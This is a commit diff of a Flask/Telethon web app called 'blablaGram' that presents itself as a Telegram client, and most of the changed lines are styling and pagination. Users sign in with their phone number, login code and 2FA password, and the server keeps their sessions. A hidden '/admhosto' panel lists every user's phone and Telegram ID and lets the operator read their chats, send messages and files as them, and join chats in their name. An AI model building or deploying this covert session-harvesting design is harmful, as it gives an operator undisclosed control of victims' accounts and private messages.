Aleksmorshen commited on
Commit
f8fd9b9
·
verified ·
1 Parent(s): 0fbeaf6

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +507 -331
app.py CHANGED
@@ -11,6 +11,7 @@ from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotP
11
  from telethon.tl.functions.messages import ImportChatInviteRequest
12
  from telethon.tl.functions.channels import JoinChannelRequest
13
  from telethon.tl.types import User, Chat, Channel
 
14
 
15
  app = Flask(__name__)
16
 
@@ -22,7 +23,6 @@ PORT = 7860
22
  SESSION_DIR = 'sessions'
23
  DOWNLOAD_DIR = 'downloads'
24
  DB_PATH = 'users.db'
25
- MESSAGES_PER_PAGE = 30
26
 
27
  os.makedirs(SESSION_DIR, exist_ok=True)
28
  os.makedirs(DOWNLOAD_DIR, exist_ok=True)
@@ -65,21 +65,42 @@ LOGIN_TEMPLATE = '''
65
  <meta charset="UTF-8">
66
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
67
  <title>blablaGram - Login</title>
68
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
69
  <style>
70
- body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
71
- .container { background: #FFFFFF; padding: 40px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 440px; width: 90%; text-align: center; }
72
- h1 { color: #2AABEE; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; }
73
- input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 12px 0; border: 1px solid #E0E0E0; border-radius: 10px; background: #F9F9F9; color: #333; font-size: 1.1em; transition: border-color 0.3s, box-shadow 0.3s; }
74
- input[type="text"]:focus, input[type="password"]:focus { border-color: #2AABEE; box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; }
75
- button { background: #2AABEE; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: bold; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease; width: 100%; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
76
- button:hover { background: #1C91D0; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); }
77
- button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
78
- .message { margin-top: 30px; padding: 18px; border-radius: 10px; font-size: 1em; line-height: 1.5; font-weight: 500; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
79
  .message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
80
  .message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
81
- .message.info { background: #EBF8FF; color: #2AABEE; border: 1px solid #C8E6F0; }
82
  .hidden { display: none; }
 
 
 
 
 
 
 
83
  </style>
84
  </head>
85
  <body>
@@ -107,12 +128,18 @@ LOGIN_TEMPLATE = '''
107
  }
108
 
109
  async function startLogin() {
110
- phone = document.getElementById('phone').value;
111
  if (!phone) {
112
  showMessage('Please enter your phone number.', 'error');
113
  return;
114
  }
 
 
 
 
 
115
  showMessage('Sending code...', 'info');
 
116
  document.getElementById('code').classList.add('hidden');
117
  document.getElementById('password').classList.add('hidden');
118
  document.getElementById('submitCode').classList.add('hidden');
@@ -140,7 +167,7 @@ LOGIN_TEMPLATE = '''
140
  }
141
 
142
  async function submitCode() {
143
- const code = document.getElementById('code').value;
144
  if (!code) {
145
  showMessage('Please enter the verification code.', 'error');
146
  return;
@@ -167,7 +194,7 @@ LOGIN_TEMPLATE = '''
167
  }
168
 
169
  async function submitPassword() {
170
- const password = document.getElementById('password').value;
171
  if (!password) {
172
  showMessage('Please enter your cloud password.', 'error');
173
  return;
@@ -200,81 +227,96 @@ BLABLAGRAM_APP_TEMPLATE = '''
200
  <title>blablaGram</title>
201
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
202
  <style>
203
- body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; overflow: hidden; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
204
  .app-layout { display: flex; height: 100vh; width: 100%; }
205
- .sidebar { flex: 0 0 360px; background: #FFFFFF; border-right: 1px solid #E0E0E0; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; position: relative; z-index: 10; }
206
- .sidebar-header { padding: 18px 25px; border-bottom: 1px solid #E0E0E0; display: flex; align-items: center; justify-content: space-between; }
207
- .sidebar-header h2 { margin: 0; font-size: 1.8em; color: #2AABEE; font-weight: 700; letter-spacing: -0.5px; }
208
- .sidebar-header .actions button { background: none; border: none; font-size: 1.8em; cursor: pointer; color: #2AABEE; padding: 5px 8px; border-radius: 8px; transition: background-color 0.2s; }
209
- .sidebar-header .actions button:hover { background-color: #E6F3FC; }
210
- .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; padding-bottom: 10px; }
211
- .chat-item { display: flex; align-items: center; padding: 15px 25px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s; }
212
- .chat-item:hover { background-color: #F8F8F8; }
213
- .chat-item.active { background-color: #E6F3FC; }
214
- .avatar-placeholder { width: 52px; height: 52px; border-radius: 50%; background-color: #2AABEE; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.8em; font-weight: 600; margin-right: 18px; flex-shrink: 0; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
 
 
 
215
  .chat-info { flex: 1; overflow: hidden; }
216
- .chat-info h3 { margin: 0 0 6px; font-size: 1.15em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
217
- .chat-item.active .chat-info h3 { color: #2AABEE; }
218
- .chat-info p { margin: 0; font-size: 0.9em; color: #666; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
219
 
220
  .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
221
- .chat-panel-header { background: #FFFFFF; padding: 18px 25px; border-bottom: 1px solid #E0E0E0; display: flex; justify-content: space-between; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.05); }
222
- .chat-panel-header h2 { margin: 0; font-size: 1.4em; font-weight: 600; color: #1C1C1C; }
223
- .chat-panel-header .header-actions button { background: #2AABEE; color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
224
- .chat-panel-header .header-actions button:hover { background: #1C91D0; transform: translateY(-1px); }
225
  .chat-panel-header .header-actions button:active { transform: translateY(0); }
226
- .chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
227
- .chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
228
 
229
- .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
230
- .load-more-button { padding: 10px 15px; background: #6C757D; color: white; border: none; border-radius: 8px; cursor: pointer; margin-top: 10px; align-self: center; font-size: 0.9em; transition: background 0.2s; }
231
- .load-more-button:hover { background: #5A6268; }
232
- .message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.98em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
233
  .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
234
- .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 6px;}
235
- .message-sender { font-weight: 600; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
236
- .message-text { color: #111; }
237
- .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
238
- .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; word-break: break-all; }
239
  .media-link:hover { text-decoration: underline; }
 
 
 
240
 
241
- .chat-input-area { background: #FFFFFF; padding: 15px 25px; border-top: 1px solid #E0E0E0; display: flex; align-items: flex-end; gap: 12px; box-shadow: 0 -2px 5px rgba(0,0,0,0.03); }
242
- .chat-input-area textarea { flex: 1; padding: 14px 18px; border: 1px solid #E0E0E0; border-radius: 24px; background: #F9F9F9; resize: none; overflow-y: auto; max-height: 120px; font-size: 1.05em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
243
- .chat-input-area textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
244
- .chat-input-area button { background: #2AABEE; color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
245
- .chat-input-area button:hover { background: #1C91D0; transform: translateY(-1px); }
246
- .chat-input-area button:active { transform: translateY(0); }
247
 
248
- .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.4em; text-align: center; }
249
- .join-chat-section { padding: 15px 25px; border-top: 1px solid #E0E0E0; display: flex; gap: 10px; background-color: #FFFFFF; }
250
- .join-chat-section input { flex: 1; padding: 12px 15px; border: 1px solid #E0E0E0; border-radius: 10px; font-size: 1em; }
251
- .join-chat-section button { background: #28A745; color: white; padding: 0 20px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; transition: background 0.2s; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
252
- .join-chat-section button:hover { background: #218838; }
253
-
254
- .sidebar-toggle-button.mobile { display: none; }
255
-
256
  @media (max-width: 768px) {
257
  .app-layout { flex-direction: column; }
258
- .sidebar {
259
- flex: 0 0 auto;
260
- width: 100%;
261
- height: 100vh;
262
- position: fixed;
263
- top: 0;
264
- left: 0;
265
- transform: translateX(-100%);
266
- box-shadow: 2px 0 10px rgba(0,0,0,0.1);
267
- }
268
  .sidebar.active { transform: translateX(0); }
269
- .chat-panel { width: 100%; height: 100vh; }
270
-
271
- .sidebar-toggle-button.mobile { display: block; background: none; border: none; font-size: 1.8em; color: #2AABEE; cursor: pointer; padding: 0; margin-right: 15px; }
272
  .sidebar-header .actions { display: flex; align-items: center; }
273
  .chat-panel-header { padding: 15px 15px; }
274
  .chat-panel-header h2 { font-size: 1.2em; }
275
  .chat-input-area { padding: 10px 15px; }
276
- .message-item { max-width: 85%; }
277
- .sidebar-header h2 { font-size: 1.5em; }
 
 
 
278
  }
279
  </style>
280
  </head>
@@ -282,7 +324,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
282
  <div class="app-layout">
283
  <div class="sidebar" id="sidebar">
284
  <div class="sidebar-header">
285
- <button class="sidebar-toggle-button mobile" onclick="toggleSidebar()">☰</button>
286
  <h2>blablaGram</h2>
287
  <div class="actions">
288
  <button onclick="newMessage()" title="New Message">✎</button>
@@ -296,7 +338,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
296
  </div>
297
  <div class="chat-panel" id="chatPanel">
298
  <div class="chat-panel-header" id="appHeader">
299
- <button class="sidebar-toggle-button mobile" onclick="toggleSidebar()">←</button>
300
  <div id="chat-header-info">
301
  <h2 id="chatTitle" style="display:none;"></h2>
302
  </div>
@@ -308,9 +350,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
308
  <div class="no-chat-selected" id="noChatSelected">
309
  Select a chat to start messaging
310
  </div>
311
- <div class="messages-container" id="messagesContainer" style="display:none;">
312
- <button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button>
313
- </div>
314
  <div class="chat-input-area" id="chatInputArea" style="display:none;">
315
  <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
316
  <button onclick="document.getElementById('fileInput').click()" title="Attach File">📎</button>
@@ -323,8 +363,9 @@ BLABLAGRAM_APP_TEMPLATE = '''
323
  <script>
324
  let currentChatId = null;
325
  let isSidebarOpen = false;
326
- let oldestMessageId = null;
327
- const messagesPerPage = {{ MESSAGES_PER_PAGE }};
 
328
 
329
  function toggleSidebar() {
330
  const sidebar = document.getElementById('sidebar');
@@ -367,12 +408,20 @@ BLABLAGRAM_APP_TEMPLATE = '''
367
  chatListDiv.appendChild(chatItem);
368
  });
369
  } else {
370
- chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`;
371
  }
372
  }
373
 
374
  async function selectChat(chatId) {
 
 
 
 
 
 
375
  currentChatId = chatId;
 
 
376
 
377
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
378
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
@@ -386,78 +435,86 @@ BLABLAGRAM_APP_TEMPLATE = '''
386
  document.getElementById('messagesContainer').style.display = 'flex';
387
  document.getElementById('chatInputArea').style.display = 'flex';
388
 
389
- oldestMessageId = null; // Reset oldest message ID for new chat
390
- await fetchMessages(chatId, false); // Fetch initial messages
391
  if (window.innerWidth <= 768) {
392
- toggleSidebar();
393
  }
394
  }
395
 
396
- async function fetchMessages(chatId, isLoadMore) {
397
  const messagesContainer = document.getElementById('messagesContainer');
398
- const loadMoreBtn = document.getElementById('loadMoreMessages');
399
-
400
  if (!isLoadMore) {
401
- messagesContainer.innerHTML = '<button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button><p style="text-align: center; color: #777;">Loading...</p>';
402
- oldestMessageId = null;
403
- loadMoreBtn.style.display = 'none';
404
  } else {
405
- loadMoreBtn.textContent = 'Loading...';
406
- loadMoreBtn.disabled = true;
 
 
 
 
407
  }
408
-
409
- let url = `/api/chat_messages/${chatId}?limit=${messagesPerPage}`;
410
- if (oldestMessageId) {
411
- url += `&max_id=${oldestMessageId}`;
412
- }
413
-
414
- const response = await fetch(url);
415
  const result = await response.json();
416
 
417
- if (!isLoadMore) {
418
- messagesContainer.innerHTML = '<button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button>';
419
  }
420
 
421
  if (result.success && result.messages) {
422
- result.messages.reverse().forEach(msg => { // Messages are newest to oldest, reverse to oldest to newest for prepending
 
 
 
 
 
 
 
 
 
 
 
423
  const messageItem = document.createElement('div');
424
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
425
 
426
- let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
427
  let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
428
  let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
429
  let metaHtml = `<div class="message-meta">${msg.date}</div>`;
430
  let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
431
 
432
  messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
433
- messagesContainer.appendChild(messageItem); // Append to bottom of list (which is actually top due to column-reverse)
434
  });
435
 
436
- if (result.messages.length > 0) {
437
- oldestMessageId = result.messages[0].id; // The first message in the reversed list is the oldest one fetched
438
- }
439
-
440
- if (result.messages.length < messagesPerPage || !result.has_more) {
441
- loadMoreBtn.style.display = 'none';
 
442
  } else {
443
- loadMoreBtn.style.display = 'block';
444
- loadMoreBtn.textContent = 'Load Older Messages';
445
- loadMoreBtn.disabled = false;
446
  }
447
 
 
 
448
  if (!isLoadMore) {
449
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
450
  }
 
 
451
  } else {
452
- messagesContainer.innerHTML += `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
453
- loadMoreBtn.style.display = 'none';
454
  }
455
  }
456
 
457
- function loadMoreMessages() {
458
- if (currentChatId && oldestMessageId) {
459
- fetchMessages(currentChatId, true);
460
- }
461
  }
462
 
463
  async function newMessage() {
@@ -487,6 +544,14 @@ BLABLAGRAM_APP_TEMPLATE = '''
487
  messageInput.value = '';
488
  adjustTextareaHeight();
489
 
 
 
 
 
 
 
 
 
490
  const response = await fetch('/api/send_message', {
491
  method: 'POST',
492
  headers: { 'Content-Type': 'application/json' },
@@ -494,9 +559,10 @@ BLABLAGRAM_APP_TEMPLATE = '''
494
  });
495
  const result = await response.json();
496
  if (result.success) {
497
- await fetchMessages(currentChatId, false);
498
  } else {
499
  alert('Failed to send message: ' + result.message);
 
500
  messageInput.value = message;
501
  adjustTextareaHeight();
502
  }
@@ -515,27 +581,33 @@ BLABLAGRAM_APP_TEMPLATE = '''
515
  formData.append('file', file);
516
  formData.append('caption', caption);
517
 
518
- messageInput.value = '';
519
- fileInput.value = '';
520
  adjustTextareaHeight();
521
 
522
  const messagesContainer = document.getElementById('messagesContainer');
523
- messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML;
 
 
 
 
 
524
 
525
  const response = await fetch('/api/send_file', {
526
  method: 'POST',
527
  body: formData
528
  });
529
  const result = await response.json();
 
530
  if (result.success) {
531
- await fetchMessages(currentChatId, false);
532
  } else {
533
  alert('Failed to send file: ' + result.message);
534
  }
535
  }
536
 
537
  async function joinChat() {
538
- const chatIdentifier = document.getElementById('joinChatIdentifier').value;
539
  if (!chatIdentifier.trim()) {
540
  alert('Please enter a channel/group username or invite link.');
541
  return;
@@ -581,29 +653,55 @@ ADMHOSTO_TEMPLATE = '''
581
  <meta charset="UTF-8">
582
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
583
  <title>blablaGram - Admin Panel</title>
584
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
585
  <style>
586
- body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
587
- .container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
588
- h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 30px; font-weight: 700; letter-spacing: -0.5px; }
589
- table { width: 100%; border-collapse: collapse; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 10px rgba(0,0,0,0.05); }
590
- th, td { padding: 18px; border: 1px solid #E0E0E0; text-align: left; }
591
- th { background: #F8F8F8; color: #555; font-weight: 600; font-size: 1em; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
592
  tr:nth-child(even) { background: #FDFDFD; }
593
- tr:hover { background: #E6F3FC; }
594
- a { color: #2AABEE; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
595
- a:hover { text-decoration: underline; }
596
- .back-button { margin-top: 40px; text-align: center; }
597
- .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
598
- .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
 
 
599
  @media (max-width: 768px) {
600
  body { padding: 15px; }
601
- .container { padding: 25px; }
602
- table, th, td { display: block; width: 100%; }
603
- thead { display: none; }
604
- tr { margin-bottom: 15px; border: 1px solid #E0E0E0; border-radius: 10px; overflow: hidden; }
605
- td { text-align: right; padding-left: 50%; position: relative; }
606
- td::before { content: attr(data-label); position: absolute; left: 0; width: 45%; padding-left: 15px; font-weight: 600; text-align: left; }
 
 
 
 
 
 
 
 
 
 
607
  }
608
  </style>
609
  </head>
@@ -618,11 +716,11 @@ ADMHOSTO_TEMPLATE = '''
618
  <tbody>
619
  {% for user in users %}
620
  <tr>
621
- <td data-label="ID">{{ user[0] }}</td>
622
- <td data-label="Telegram ID">{{ user[1] }}</td>
623
- <td data-label="Username">{{ user[2] }}</td>
624
- <td data-label="Phone">{{ user[3] }}</td>
625
- <td data-label="Actions">
626
  <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
627
  </td>
628
  </tr>
@@ -644,58 +742,79 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
644
  <meta charset="UTF-8">
645
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
646
  <title>Manage: {{ user.username or user.phone }}</title>
647
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
648
  <style>
649
- body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
650
- .container { max-width: 1300px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
651
- h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 25px; font-weight: 700; letter-spacing: -0.5px; }
652
- .user-info { text-align: center; margin-bottom: 35px; font-size: 1.15em; color: #666; font-weight: 500; }
653
- .split-panel { display: flex; gap: 30px; margin-top: 30px; flex-wrap: wrap; }
654
- .split-panel > div { flex: 1; min-width: 300px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
655
- h2 { margin-top: 0; font-size: 1.4em; font-weight: 600; color: #333; margin-bottom: 20px; text-align: left; }
656
- input[type="text"], textarea { width: calc(100% - 24px); padding: 14px; margin: 10px 0; border: 1px solid #DDD; border-radius: 10px; background: #FFF; font-size: 1em; transition: border-color 0.3s, box-shadow 0.3s; }
657
- input[type="text"]:focus, textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
658
- textarea { resize: vertical; min-height: 90px; }
659
- button { background: #2AABEE; color: #fff; padding: 13px 22px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.05em; font-weight: bold; margin-top: 18px; width: 100%; transition: background 0.3s ease, transform 0.2s ease; box-shadow: 0 3px 8px rgba(0,0,0,0.1); }
660
- button:hover { background: #1C91D0; transform: translateY(-1px); }
661
- button:active { transform: translateY(0); }
662
- button.green-btn { background: #28A745; }
663
- button.green-btn:hover { background: #218838; }
664
- .chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDD; border-radius: 10px; background: #FFF; box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
665
- .chat-item { padding: 16px 20px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
666
- .chat-item:hover, .chat-item.active { background: #E6F3FC; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
667
  .chat-item:last-child { border-bottom: none; }
668
- .chat-item h3 { margin: 0; font-size: 1.1em; color: #1C1C1C; font-weight: 600; }
669
- .chat-item p { margin: 6px 0 0; font-size: 0.9em; color: #666; }
670
- .message-viewer { margin-top: 35px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
671
- .messages-container { max-height: 550px; overflow-y: auto; padding: 20px; border: 1px solid #DDD; border-radius: 10px; background: #FFF; margin-top: 20px; display: flex; flex-direction: column-reverse; box-shadow: inset 0 1px 3px rgba(0,0,0,0.05); }
672
- .load-more-button { padding: 10px 15px; background: #6C757D; color: white; border: none; border-radius: 8px; cursor: pointer; margin-top: 10px; align-self: center; font-size: 0.9em; transition: background 0.2s; }
673
- .load-more-button:hover { background: #5A6268; }
674
- .message-item { max-width: 80%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
675
- .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
676
- .message-item.received { background: #F1F0F0; align-self: flex-start; border-bottom-left-radius: 6px; }
677
- .message-sender { font-weight: bold; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
678
- .message-text { color: #111; }
679
- .message-meta { font-size: 0.75em; color: #999; margin-top: 5px; text-align: right; }
680
- .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; }
681
- .media-link:hover { text-decoration: underline; }
682
- .back-button { margin-top: 40px; text-align: center; }
683
- .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
684
- .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
685
- .clear-chat-selection { text-align: center; margin-top: 20px; }
686
- .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; font-size: 1em; }
687
- .clear-chat-selection button:hover { background: #5A6268; }
 
 
688
 
689
  @media (max-width: 768px) {
690
  body { padding: 15px; }
691
- .container { padding: 25px; }
 
692
  .split-panel { flex-direction: column; gap: 20px; }
693
- .split-panel > div { min-width: unset; padding: 20px; }
694
- h1, h2 { margin-bottom: 20px; }
695
- .user-info { margin-bottom: 25px; font-size: 1em; }
696
- .chat-list, .messages-container { max-height: 350px; }
697
- input[type="text"], textarea, button { padding: 12px; font-size: 0.95em; }
698
- button { margin-top: 15px; }
 
 
699
  }
700
  </style>
701
  </head>
@@ -711,9 +830,9 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
711
  <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
712
  <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
713
  <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
714
- <button onclick="document.getElementById('sendFileInput').click()" class="green-btn">Send File</button>
715
 
716
- <h2 style="margin-top: 35px;">Join Chat</h2>
717
  <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
718
  <button onclick="joinChat({{ user.id }})">Join Chat</button>
719
  </div>
@@ -727,7 +846,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
727
  <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
728
  </div>
729
  {% else %}
730
- <p style="padding: 15px; text-align: center; color: #777;">No chats found.</p>
731
  {% endfor %}
732
  </div>
733
  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
@@ -736,105 +855,117 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
736
 
737
  <div class="message-viewer" id="messageViewer" style="display:none;">
738
  <h2 id="messagesChatTitle"></h2>
739
- <div class="messages-container" id="messagesContainer">
740
- <button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin({{ user.id }})">Load Older Messages</button>
741
- </div>
742
  </div>
743
 
744
  <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
745
  </div>
746
  <script>
747
- let oldestMessageIdAdmin = null;
748
- const messagesPerPageAdmin = {{ MESSAGES_PER_PAGE }};
 
 
749
 
750
  function clearChatSelection() {
751
  document.getElementById('messageViewer').style.display = 'none';
752
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
753
- oldestMessageIdAdmin = null;
 
 
754
  }
755
 
756
  async function selectChat(userId, chatId, chatTitle) {
 
 
 
 
 
757
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
758
